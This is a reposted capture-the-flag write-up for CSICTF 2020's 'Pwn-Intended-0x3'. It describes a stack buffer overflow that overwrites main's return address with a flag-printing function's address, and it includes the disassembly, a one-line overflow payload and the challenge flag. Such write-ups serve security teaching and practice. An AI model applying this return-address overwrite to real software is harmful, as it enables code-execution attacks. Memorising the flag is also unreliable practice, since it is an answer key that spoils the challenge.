Pwn-Intended-0x3

发表于 2021-01-09 分类于 Challenge， 2020， CSICTF， Pwn
Challenge | 2020 | CSICTF | Pwn | Pwn-Intended-0x3

点击此处获得更好的阅读体验

WriteUp来源

https://dunsp4rce.github.io/csictf-2020/pwn/2020/07/22/Pwn-Intended-0x3.html

by `AnandSaminathan`

题目描述

题目考点

解题思路

This is exactly same as coffer-overflow-2 from redpwn-2020.

In this case the return address of main has to be replaced with the address of a function called `flag` *(which prints the flag).*

Disassembly of `flag` *with the starting address:*

```
0x00000000004011ce: push   rbp
                     mov    rbp,rsp
                     lea    rdi,[rip+0xe5f]
                    call   0x401030 <puts@plt>
                     lea    rdi,[rip+0xe7b]
                     call   0x401050 <system@plt> # system("cat flag.txt")
                     mov    edi,0x0
                     call   0x401070 <exit@plt>
```

Using gdb, the distance between the starting address of the buffer and the return address of main in the stack was found to be 40 bytes (rbp + 8 bytes), so we can have some padding of 40 bytes and then have the address of `flag` *function in little endian. This worked:*

```
python2 -c "print 'A'*40 + '\xce\x11\x40\x00\x00\x00\x00\x00'" | ./pwn-intended-0x3
```

Flag

```
csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/CSICTF/Pwn/6VVjZF2QV8Ycp9BKGMJqEA.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Pwn # CSICTF
Global-warming
XSS